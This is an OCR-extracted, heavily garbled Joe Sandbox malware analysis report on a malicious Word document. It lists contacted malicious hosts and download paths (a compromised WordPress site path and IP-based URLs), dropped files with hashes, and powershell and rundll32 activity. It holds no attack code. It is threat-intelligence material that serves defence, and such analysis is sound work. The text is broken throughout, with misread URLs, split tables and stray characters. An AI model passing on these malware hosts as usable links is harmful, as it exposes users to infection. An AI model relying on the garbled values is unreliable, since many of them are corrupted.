Source Detection Scanner Label Link

Dropped Files

Source Detection Scanner Label Link

Unpacked PE Files

Detection Scanner Label Link Download

o
c
=
[2]
(]
e
QD
Q
[}
[
[N
[e]
=
s
[e)
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https://www.virustotal.com/gui/file/3b0f0153e86ce447d43a1dac72c87b37ba8bd09405a58dc7f68e1a0bedb22016/detection/f-3b0f0153e86ce447d43a1dac72c87b37ba8bd09405a58dc7f68e1a0bedb22016-1609529009
https://www.metadefender.com/#!/results/file/bzIxMDEwMjdnVmhaRE44TTJtd2tSSl9tdkI/regular/analysis
https://www.metadefender.com/#!/results/file/bzIxMDEwNjJOM3haVjdTby1KTWFiM1hrMFg/regular/analysis

Source Detection Scanner Label Link Download

Source Detection Scanner Label Link

Source Detection Scanner Label Link

[ e ) B = ) I N
[ PR e e - e ) I

[ S e ) I

hitp:/iwellformedweb.org/CommentAPI/ 0% URL Reputation safe
hitp:/iwellformedweb.org/CommentAPI/ 0% URL Reputation safe
hitp:/iwellformedweb.org/CommentAPI/ 0% URL Reputation safe
hitp:/iwellformedweb.org/CommentAPI/ 0% URL Reputation safe
hitp:/fiwww.iis.fhg.de/audioPA 0% URL Reputation safe
hitp:/fiwww.iis.fhg.de/audioPA 0% URL Reputation safe
hitp:/fiwww.iis.fhg.de/audioPA 0% URL Reputation safe
hitp:/fiwww.iis.fhg.de/audioPA 0% URL Reputation safe
hitp://152.170.79.100/33wjxarr/4ph6t704u91pnssxqi/56hw26jb5vm/yt6kr0s/58j9f7jerowh66trm/ 0% Avira URL Cloud safe

L B 1 ) I =N
L - e ) I

hitp://\windowsmedia.com/redir/services.asp?WMPFriendly=true 0% URL Reputation safe
hitp://\windowsmedia.com/redir/services.asp?WMPFriendly=true 0% URL Reputation safe
hitp://\windowsmedia.com/redir/services.asp?WMPFriendly=true 0% URL Reputation safe
hitp://\windowsmedia.com/redir/services.asp?WMPFriendly=true 0% URL Reputation safe
hitp:/itreyresearch.net 0% URL Reputation safe
hitp:/itreyresearch.net 0% URL Reputation safe
hitp:/itreyresearch.net 0% URL Reputation safe
hitp:/itreyresearch.net 0% URL Reputation safe
o sedmpomens G ARG mawee
hitp://iwww.icra.org/vocabulary/. 0% URL Reputation safe
hitp://iwww.icra.org/vocabulary/. 0% URL Reputation safe
hitp://iwww.icra.org/vocabulary/. 0% URL Reputation safe

[ R e e ) I
L S e ) ) IO

hitp://computername/printers/printername/.printer 0% Avira URL Cloud safe
hitp:/fiwww.%s.comPA 0% URL Reputation safe
hitp:/fiwww.%s.comPA 0% URL Reputation safe
hitp:/fiwww.%s.comPA 0% URL Reputation safe
hitp://swiftlogisticseg.com 0% Avira URL Cloud safe

e e R v ) R

Domains and IPs

Contacted Domains

Name P Active Malicious Antivirus Detection Reputation

swifogisicsegcom 3521415946 e e e 10%Viusow,Bowe  utkiown
Contacted URLs

Name Malicious Antivirus Detection Reputation
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https://www.virustotal.com/gui/url/362c588d4db24e40e8375c59fbef5710705ec8018c548ea806c72f2bacb47886/detection/u-362c588d4db24e40e8375c59fbef5710705ec8018c548ea806c72f2bacb47886-1610473851
https://www.virustotal.com/gui/url/b5f1c9b718e2b845ac024cf5f16d279f25833bfd95bf778d178c0b2f6f718322/detection/u-b5f1c9b718e2b845ac024cf5f16d279f25833bfd95bf778d178c0b2f6f718322-1609376356
https://www.virustotal.com/gui/url/7737a758552cc05b6cef71bf4bf6de545976be03b595a63882f4280180913d4b/detection/u-7737a758552cc05b6cef71bf4bf6de545976be03b595a63882f4280180913d4b-1609486920
https://www.virustotal.com/gui/url/dc4d457f7d4f5d0da548333bdd90c5a453db76208045c57e2f25107ca909a110/detection/u-dc4d457f7d4f5d0da548333bdd90c5a453db76208045c57e2f25107ca909a110-1609433682
https://www.virustotal.com/gui/url/362c588d4db24e40e8375c59fbef5710705ec8018c548ea806c72f2bacb47886/detection/u-362c588d4db24e40e8375c59fbef5710705ec8018c548ea806c72f2bacb47886-1610473851
https://www.virustotal.com/gui/url/7737a758552cc05b6cef71bf4bf6de545976be03b595a63882f4280180913d4b/detection/u-7737a758552cc05b6cef71bf4bf6de545976be03b595a63882f4280180913d4b-1609486920

Name

Malicious

Antivirus Detection

Reputation

URLs from Memory and Binaries

Name

hitp:/f/www.windows.com/pctv.

hitp://investor.msn.com

hitp:/f/www.msnbc.com/news/ticker.txt

hitp://wellformedweb.org/CommentAPI/

hitp:/fiwww.iis.fhg.de/audioPA

hitp://iwindowsmedia.com/redir/services.asp?
WMPFriendly=true

hitp:/fiwww.hotmail.com/oe

hitp:/itreyresearch.net

hitp://services.msn.com/svcs/oe/certpage.asp?
name=%s&email=%s&&Check

hitp://iwww.icra.org/vocabulary/.

http://
schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous

http://
www.piriform.com/ccleanerhttp://www.piriform.com/ccleanerv

Copyright null 2021

Source Malicious

rundll32.exe, 00000007.0000000 false
2.2103645089.0000000001E20000.
00000002.00000001.sdmp

rundll32.exe, 00000006.0000000 false
2.2109903291.0000000001B60000.
00000002.00000001.sdmp, rundll32.exe,
00000007.00000002.2103645089.000
0000001E20000.00000002.0000000

1.sdmp

rundll32.exe, 00000006.0000000 false
2.2109903291.0000000001B60000.
00000002.00000001.sdmp, rundll32.exe,
00000007.00000002.2103645089.000
0000001E20000.00000002.0000000

1.sdmp

rundll32.exe, 00000007.0000000 false
2.2105044671.00000000023E0000.
00000002.00000001.sdmp

rundll32.exe, 00000007.0000000 false
2.2105044671.00000000023E0000.
00000002.00000001.sdmp

rundll32.exe, 00000006.0000000 false
2.2110790551.0000000001D47000.
00000002.00000001.sdmp, rundll32.exe,
00000007.00000002.2103935255.000
0000002007000.00000002.0000000

1.sdmp

rundll32.exe, 00000006.0000000 false
2.2109903291.0000000001B60000.
00000002.00000001.sdmp, rundll32.exe,
00000007.00000002.2103645089.000
0000001E20000.00000002.0000000

1.sdmp

rundll32.exe, 00000007.0000000 false
2.2105044671.00000000023E0000.
00000002.00000001.sdmp

rundll32.exe, 00000006.0000000 false
2.2110790551.0000000001D47000.
00000002.00000001.sdmp, rundll32.exe,
00000007.00000002.2103935255.000
0000002007000.00000002.0000000

1.sdmp

rundll32.exe, 00000006.0000000 false
2.2110790551.0000000001D47000.
00000002.00000001.sdmp, rundll32.exe,
00000007.00000002.2103935255.000
0000002007000.00000002.0000000

1.sdmp

powershell.exe, 00000005.00000 false
002.2100795615.000000000229000
0.00000002.00000001.sdmp, rund

1132.exe, 00000007.00000002.21
07354488.0000000002C20000.0000
0002.00000001.sdmp, rundlI32.exe,
0000000F.00000002.21242496
96.0000000002CC0000.00000002.0
0000001.sdmp

powershell.exe, 00000005.00000 false
002.2100136032.00000000003D500
0.00000004.00000020.sdmp

Antivirus Detection Reputation
high
high
high

e URL Reputation: safe unknown
e URL Reputation: safe
e URL Reputation: safe
e URL Reputation: safe
e URL Reputation: safe unknown
e URL Reputation: safe
e URL Reputation: safe
e URL Reputation: safe
e URL Reputation: safe unknown
e URL Reputation: safe
e URL Reputation: safe
e URL Reputation: safe
high
e URL Reputation: safe unknown
e URL Reputation: safe
e URL Reputation: safe
e URL Reputation: safe
high
e URL Reputation: safe unknown
e URL Reputation: safe
e URL Reputation: safe
high
high
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https://www.virustotal.com/gui/url/b5f1c9b718e2b845ac024cf5f16d279f25833bfd95bf778d178c0b2f6f718322/detection/u-b5f1c9b718e2b845ac024cf5f16d279f25833bfd95bf778d178c0b2f6f718322-1609376356
https://www.virustotal.com/gui/url/dc4d457f7d4f5d0da548333bdd90c5a453db76208045c57e2f25107ca909a110/detection/u-dc4d457f7d4f5d0da548333bdd90c5a453db76208045c57e2f25107ca909a110-1609433682

Name Source Malicious Antivirus Detection Reputation

hitp://investor.msn.com/ rundlI32.exe, 00000006.0000000 false high
2.2109903291.0000000001B60000.
00000002.00000001.sdmp, rundll32.exe,
00000007.00000002.2103645089.000
0000001E20000.00000002.0000000
1.sdmp

hitp:/fwww.piriform.com/ccleaner powershell.exe, 00000005.00000 false high
002.2100136032.00000000003D500
0.00000004.00000020.sdmp

hitp://computername/printers/printername/.printer rundlI32.exe, 00000007.0000000 false e Avira URL Cloud: safe low
2.2105044671.00000000023E0000.
00000002.00000001.sdmp

hitp:/fiwww.%s.comPA powershell.exe, 00000005.00000 false e URL Reputation: safe low
002.2100795615.000000000229000 URL Reputation: safe
0.00000002.00000001.sdmp, rund URL Reputation: safe
1132.exe, 00000007.00000002.21
07354488.0000000002C20000.0000
0002.00000001.sdmp, rundlI32.exe,
00000008.00000002.21092668
73.0000000002C70000.00000002.0
0000001.sdmp, rundll32.exe, 00
00000F.00000002.2124249696.000
0000002CC0000.00000002.0000000

Contacted IPs

] No. of IPs < 25%
B 25% < No. of IPs < 50%
B 50% < No. of IPs < 75%
Bl 75% < No. of IPs

Public

P Domain Country Flag ASN ASN Name Malicious
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General Information

Joe Sandbox Version: 31.0.0 Red Diamond

Analysis ID: 339186

Start date: 13.01.2021

Start time: 16:59:40

Joe Sandbox Product: CloudBasic

Overall analysis duration: Oh 13m 19s

Hypervisor based Inspection enabled: false

Report type: light

Sample file name: Archivo 3012 122020 276701.doc
Cookbook file name: defaultwindowsofficecookbook.jbs
Analysis system description: Windows 7 x64 SP1 with Office 2010 SP2 (IE 11, FF52,

Chrome 57, Adobe Reader DC 15, Flash 25.0.0.127,
Java 8 Update 121, .NET 4.6.2)

Number of analysed new started processes analysed: 20
Number of new started drivers analysed: 0
Number of existing processes analysed: 0
Number of existing drivers analysed: 0
Number of injected processes analysed: 0

Technologies: e HCA enabled
e EGA enabled
e HDC enabled
L]
L]

GSl enabled (VBA)

AMSI enabled
Analysis Mode: default
Analysis stop reason: Timeout
Detection: MAL
Classification: mal100.troj.expl.evad.winDOC@32/7@1/2
EGA Information: e Successful, ratio: 88.9%
HDC Information: e Successful, ratio: 26.3% (good quality ratio 25.7%)

e Quality average: 81.5%
e Quality standard deviation: 23.5%

HCA Information: e Successful, ratio: 87%
e Number of executed functions: 0
e Number of non-executed functions: 0

Cookbook Comments: e Adjust boot time
e Enable AMSI
Found application associated with file extension:
.doc
Found Word or Excel or PowerPoint or XPS Viewer
Found warning dialog
Click Ok
Attach to Office via COM
Scroll down
Close Viewer

.

e o o o o o

Warnings: Show All

e Exclude process from analysis (whitelisted):
dllhost.exe, conhost.exe

e TCP Packets have been reduced to 100

e Execution Graph export aborted for target
powershell.exe, PID 2500 because it is empty

e Report creation exceeded maximum time and may
have missing disassembly code information.

e Report size exceeded maximum capacity and may
have missing behavior information.

e Report size getting too big, too many
NtOpenKeyEx calls found.

e Report size getting too big, too many
NtQueryAttributesFile calls found.

e Report size getting too big, too many
NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time Type Description

17:00:43 API Interceptor 1x Sleep call for process: msg.exe modified
17:00:44 API Interceptor 23x Sleep call for process: powershell.exe modified
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Time Type Description

17:00:47 API Interceptor 955x Sleep call for process: rundll32.exe modified

Joe Sandbox View | Context

IPs

Match Associated Sample Name / URL SHA 256 Detection Link Context

152.170.79.100 Get hash malicious Browse e 152.170.7
9.100/tkvo
p2zz2se/Ov

kwo/

Get hash malicious Browse e 152.170.7
9.100/jne6
snt/mémyio
hmse/

Get hash malicious Browse e 152.170.7
9.100/gsyu
aw2no20y/

Get hash malicious Browse e 152.170.7
9.100/2w9r
adk/elbqg9
3t32/bfbkk
xnxm/kzpgf
x0srz2azra
2z6/wtwvr/
zuhrx/

Get hash malicious Browse e 152.170.7
9.100/udiw
y/9lqzybri
7w/n3gkg5s
eewustvns6
8/136c10de
4srgz133y/

Get hash malicious Browse e 152.170.7
9.100/f5hv
sm8p45k9/r
Ohin/g4fm3
hzyqdsc/

Get hash malicious Browse e 152.170.7
9.100/x692
gr/bchg5i/
1ldwlveojm5
Iwx1zsmb5gb
t71xbtih/g
qer5rzmurhr33/

Get hash malicious Browse e 152.170.7
9.100/g66e
zIsi5912gh
9ten/ydgp2
y3srh2mb5hj
6/xkq9/wst
gsdd/xpmc9
zuidrre/

Get hash malicious Browse e 152.170.7
9.100/8wijt
ai/6101dxx
JAggv7swil4
Slrki/

Get hash malicious Browse e 152.170.7
9.100/7gfh
58w8tuftcw/

Get hash malicious Browse e 152.170.7
9.100/76¢cc
ih3j36ds48
oflg/lagrd
mofi2yOwnk
/3huzz5wjow7/
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https://view.joesandbox.com/analysis/254688/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/254688/html/none?idtype=webid
https://view.joesandbox.com/analysis/252716/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/252716/html/none?idtype=webid
https://view.joesandbox.com/analysis/252606/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/252606/html/none?idtype=webid
https://view.joesandbox.com/analysis/252556/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/252556/html/none?idtype=webid
https://view.joesandbox.com/analysis/252415/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/252415/html/none?idtype=webid
https://view.joesandbox.com/analysis/252328/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/252328/html/none?idtype=webid
https://view.joesandbox.com/analysis/252047/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/252047/html/none?idtype=webid
https://view.joesandbox.com/analysis/252022/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/252022/html/none?idtype=webid
https://view.joesandbox.com/analysis/251978/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/251978/html/none?idtype=webid
https://view.joesandbox.com/analysis/251950/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/251950/html/none?idtype=webid
https://view.joesandbox.com/analysis/251931/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/251931/html/none?idtype=webid

Match

35.214.159.46

Copyright null 2021

Associated Sample Name / URL SHA 256
Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Detection

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

Link

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Context

152.170.7
9.100/dwap
Julw9qv3rb
7tn3pfmceyj
Ixibwt6769
jdvwhte/zs
ns1d90vaps
Iféyatsbh/

152.170.7
9.100/hmjm
chef7iewj2
uvzf/9pltl
pfikujmwtp
/e6oaz9n/7
m756y/bxs78/

152.170.7
9.100/al70
Onpvtnacls
p/hyv2likp
gl5er/ftza
182949dvgy
1j88n9/kr0
5413td4qgc
n0/zer9t3m/

152.170.7
9.100/9h5m
kg4rscmn4p
5/5i03xqzi
osOrjffom1p
[7ryi6q8v0
liljihnekck
1dpk9ng/Ou
mxys8m7imu
c090/jj1uo/

152.170.7
9.100/jefm
ga7pgné/a7
zeb1l6ir8p
Jiuii6qu/7
x9123680/q
wimc/kzg68
jfg4cm59ivl/

152.170.7
9.100/dpt
rzs0lv336p
jtc/s28dym
elc06393/

152.170.7
9.100/bz77
n5i0/aajfq
5b2yw7yw59
kt33/0ghox
zznyfa8bik
7hm1lyiyb7
xv8gihti8i
Juqf8mgk7iy/

152.170.7
9.100/iu4g
99cxf8oc/

152.170.7
9.100/ipja
i1r8tvftp/
t2varékloq
2jb2z38/f3
8ne62mhsuf
3mdo/alz9a
6ur8zqg6rvexry/

swiftlogi
sticseg.co
m/wp-admin
/VEShQjj/

swiftlogi
sticseg.co
m/wp-admin
/VEShQjj/

swiftlogi
sticseg.co
m/wp-admin
/VEShQjj/
swiftlogi
sticseg.co
m/wp-admin
/VEShQjj/
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https://view.joesandbox.com/analysis/251926/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/251926/html/none?idtype=webid
https://view.joesandbox.com/analysis/251921/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/251921/html/none?idtype=webid
https://view.joesandbox.com/analysis/251912/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/251912/html/none?idtype=webid
https://view.joesandbox.com/analysis/251879/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/251879/html/none?idtype=webid
https://view.joesandbox.com/analysis/251878/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/251878/html/none?idtype=webid
https://view.joesandbox.com/analysis/251877/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/251877/html/none?idtype=webid
https://view.joesandbox.com/analysis/251872/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/251872/html/none?idtype=webid
https://view.joesandbox.com/analysis/251864/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/251864/html/none?idtype=webid
https://view.joesandbox.com/analysis/251857/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/251857/html/none?idtype=webid
https://view.joesandbox.com/analysis/251931/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/251931/html/none?idtype=webid
https://view.joesandbox.com/analysis/251879/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/251879/html/none?idtype=webid
https://view.joesandbox.com/analysis/251833/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/251833/html/none?idtype=webid
https://view.joesandbox.com/analysis/251823/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/251823/html/none?idtype=webid

Match

Domains

Match

swiftlogisticseg.com

ASN

Match
GOOGLE-2US

TelecomArgentinaSAAR
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SHA 256
Get hash

Get hash

Get hash

Get hash

SHA 256
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash

SHA 256
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash

Get hash

Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash

Get hash

Get hash

> > >
" 3 3
17 17 17
=] [=] [=]
2. 8 =}
1 1 1
1] [ [
[=1 o [=1
[72] [72] [7]
o o o
3 3 3
= = =
o ] (]
2 2 2
o o o
3 3 3
) ) )
c c c
A A A
r r r

Detection

malicious

malicious

malicious

malicious

Detection
malicious
malicious
malicious
malicious
malicious
malicious
malicious

malicious

Detection
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious

malicious

malicious

malicious
malicious
malicious
malicious
malicious
malicious

malicious

malicious

malicious

Link

Browse

Browse

Browse

Browse

Link

Browse
Browse
Browse
Browse
Browse
Browse
Browse

Browse

Link

Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse

Browse

Browse

Browse
Browse
Browse
Browse
Browse
Browse

Browse

Browse

Browse

Context

swiftlogi
sticseg.co
m/wp-admin
/VEShQjj/

swiftlogi
sticseg.co
m/wp-admin
/VEShQjj/

swiftlogi
sticseg.co
m/wp-admin
/VEShQjj/

swiftlogi
sticseg.co
m/wp-admin
IyVvI

Context

35.214.159.46
35.214.159.46
35.214.159.46
35.214.159.46
35.214.159.46
35.214.159.46
35.214.159.46
35.214.159.46

Context

35.214.225.210
35.208.69.64
35.208.174.213
35.214.23.27
35.208.179.96
35.214.203.1
35.214.169.246
35.208.84.24
35.209.78.196
35.214.169.246
35.209.78.196
35.214.199.246
35.209.33.122
35.208.84.24
35.208.104.82
35.209.110.77
35.208.69.64
35.214.159.46
35.214.159.46
35.208.84.24
152.170.79.100

190.247.13
9.101

190.247.13
9.101

181.170.3.37

152.170.79.100
152.170.79.100
152.170.79.100
152.170.79.100
152.170.79.100

190.247.13
9.101

190.247.13
9.101

190.247.13
9.101
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https://view.joesandbox.com/analysis/251803/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/251803/html/none?idtype=webid
https://view.joesandbox.com/analysis/251773/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/251773/html/none?idtype=webid
https://view.joesandbox.com/analysis/251744/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/251744/html/none?idtype=webid
https://view.joesandbox.com/analysis/199467/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/199467/html/none?idtype=webid
https://view.joesandbox.com/analysis/251931/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/251931/html/none?idtype=webid
https://view.joesandbox.com/analysis/251879/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/251879/html/none?idtype=webid
https://view.joesandbox.com/analysis/251833/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/251833/html/none?idtype=webid
https://view.joesandbox.com/analysis/251823/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/251823/html/none?idtype=webid
https://view.joesandbox.com/analysis/251803/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/251803/html/none?idtype=webid
https://view.joesandbox.com/analysis/251773/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/251773/html/none?idtype=webid
https://view.joesandbox.com/analysis/251744/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/251744/html/none?idtype=webid
https://view.joesandbox.com/analysis/199467/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/199467/html/none?idtype=webid
https://view.joesandbox.com/analysis/254691/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/254691/html/none?idtype=webid
https://view.joesandbox.com/analysis/254688/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/254688/html/none?idtype=webid
https://view.joesandbox.com/analysis/254604/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/254604/html/none?idtype=webid
https://view.joesandbox.com/analysis/254570/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/254570/html/none?idtype=webid
https://view.joesandbox.com/analysis/254286/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/254286/html/none?idtype=webid
https://view.joesandbox.com/analysis/253440/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/253440/html/none?idtype=webid
https://view.joesandbox.com/analysis/253268/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/253268/html/none?idtype=webid
https://view.joesandbox.com/analysis/253259/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/253259/html/none?idtype=webid
https://view.joesandbox.com/analysis/253179/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/253179/html/none?idtype=webid
https://view.joesandbox.com/analysis/253174/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/253174/html/none?idtype=webid
https://view.joesandbox.com/analysis/253172/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/253172/html/none?idtype=webid
https://view.joesandbox.com/analysis/253042/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/253042/html/none?idtype=webid
https://view.joesandbox.com/analysis/252549/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/252549/html/none?idtype=webid
https://view.joesandbox.com/analysis/252415/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/252415/html/none?idtype=webid
https://view.joesandbox.com/analysis/252316/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/252316/html/none?idtype=webid
https://view.joesandbox.com/analysis/252072/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/252072/html/none?idtype=webid
https://view.joesandbox.com/analysis/252047/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/252047/html/none?idtype=webid
https://view.joesandbox.com/analysis/251931/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/251931/html/none?idtype=webid
https://view.joesandbox.com/analysis/251879/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/251879/html/none?idtype=webid
https://view.joesandbox.com/analysis/251864/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/251864/html/none?idtype=webid
https://view.joesandbox.com/analysis/254688/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/254688/html/none?idtype=webid
https://view.joesandbox.com/analysis/253259/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/253259/html/none?idtype=webid
https://view.joesandbox.com/analysis/253174/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/253174/html/none?idtype=webid
https://view.joesandbox.com/analysis/253061/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/253061/html/none?idtype=webid
https://view.joesandbox.com/analysis/252716/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/252716/html/none?idtype=webid
https://view.joesandbox.com/analysis/252606/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/252606/html/none?idtype=webid
https://view.joesandbox.com/analysis/252556/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/252556/html/none?idtype=webid
https://view.joesandbox.com/analysis/252415/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/252415/html/none?idtype=webid
https://view.joesandbox.com/analysis/252328/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/252328/html/none?idtype=webid
https://view.joesandbox.com/analysis/252297/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/252297/html/none?idtype=webid
https://view.joesandbox.com/analysis/252296/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/252296/html/none?idtype=webid
https://view.joesandbox.com/analysis/252060/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/252060/html/none?idtype=webid

Match

Associated Sample Name /| URL SHA 256 Detection Link Context

_Get hash malicious Browse e 190.247.13
9.101

_Get hash malicious Browse e 200.114.142.40
_Get hash malicious Browse e 152.170.79.100
_Get hash malicious Browse e 152.170.79.100
_Get hash malicious Browse e 152.170.79.100
_Get hash malicious Browse e 152.170.79.100
_Get hash malicious Browse e 152.170.79.100
_Get hash malicious Browse e 152.170.79.100

JA3 Fingerprints

No context

Dropped Files

No context

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{A5D4ECFE-EB6B-4CC4-8C38-663EBE143117}.tmp

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Program Files\Microsoft Office\Office l4\WINWORD.EXE

data

dropped

1024

0.05390218305374581

false

3:013lYdn:4Wn

5D4D94EE7E06BBB0OAF9584119797B23A
DBB111419C704F116EFA8E72471DD83E86E49677
4826C0D860AF884D3343CAB6460B0006A7A2CE7DBCCC4D743208585D997CC5FD1

95F83AEB4CAFCCEDSEAF504546725C34D5F9710E5CA2D11761486970F2FBECCB25F9CF50BBFC272BD75E1A66A18B7783F09E1C1454AFDA519624BC2BB2F28B
A4

false

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\Archivo 3012 122020 276701.LNK

Process:

File Type:

Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Program Files\Microsoft Office\Office l4\WINWORD.EXE

MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Wed Aug 26 14:08:18 2020, mtime=Wed Aug 26 14:08:18 2020,
atime=Thu Jan 14 00:00:40 2021, length=166912, window=hide

dropped

2188

4.524286835024089

false

48:8G/XT0ZVXbCHPHXFQh2G/XT0ZVXbCHPHXFQ/:8G/XuVXbC/XFQh2G/XuVXbC/XFQ/

4657081059507F8981B3A37CEF4546FE

9F96D36FOED6E56BCODEO6DA3CAI35EE64AOED2B

DB16F11D259E9DCD7558427FBC97E9B7D82541215EDF8F7B66C90806E19E44B3
DCC9B57319B47CECCB0OD22AE47620105A4019A0B96810868B644A7BC756B88A535374DE7020518715AACFB1726004F80E435FB18C631239887776B14F6BBA169

false

........... t.1.....QK.X..Users. .. ....Us.ers..@.s.hell32.dll,.-21.8.
L.1.....Q.y..user.8....QK.X.Q.y*... . Q.y..Desktop.d......QK.X.Q.y*..._: .D.eskto.p..@.s.hell3.2.dll,.-217.6.9.
..e.2......R...ARCHIV~1.DOC. |....... Q.y.Qy*..8 ..Ar.c.hiv.o..3.0.1.2..1.2.2.0.2.0. .2.7.6.7.0.1...d.o.c. B[ 2300 Ci\Users\ A
...\\088753\Users.user\Desktop\Archivo 3012 122020 276701.doc.5....\....\....\....\....\.D.e.s.k.t.o.p.\Ar.c.h.iv.0. .3.0.1.2. .1.2.2.0.2.0. .2.7.6.7.0.1...d.o.Cc............,.LB.)..

Ag. 1SPsS.XF.L8C...&m.m............~...S.-.1.-5.-.2.1.-9.6.6.7.7.1.3.1.5.-.3.0.1.9.4.0.5.6.3.7.-.3.6.7.3.3.6.4.7.7.-.1.0.0.6............. ...

C:\Users\luser\AppData\Roaming\Microsoft\Office\Recentlindex.dat

Process:
File Type:
Category:

Copyright null 2021

C:\Program Files\Microsoft Office\Office l4\WINWORD.EXE
ASCII text, with CRLF line terminators

dropped
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https://view.joesandbox.com/analysis/252054/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/252054/html/none?idtype=webid
https://view.joesandbox.com/analysis/252052/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/252052/html/none?idtype=webid
https://view.joesandbox.com/analysis/252047/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/252047/html/none?idtype=webid
https://view.joesandbox.com/analysis/252022/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/252022/html/none?idtype=webid
https://view.joesandbox.com/analysis/251978/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/251978/html/none?idtype=webid
https://view.joesandbox.com/analysis/251950/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/251950/html/none?idtype=webid
https://view.joesandbox.com/analysis/251931/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/251931/html/none?idtype=webid
https://view.joesandbox.com/analysis/251926/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/251926/html/none?idtype=webid

C:\Users\luser\AppData\Roaming\Microsoft\Office\Recentlindex.dat

Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

116

4.278046901832288

false
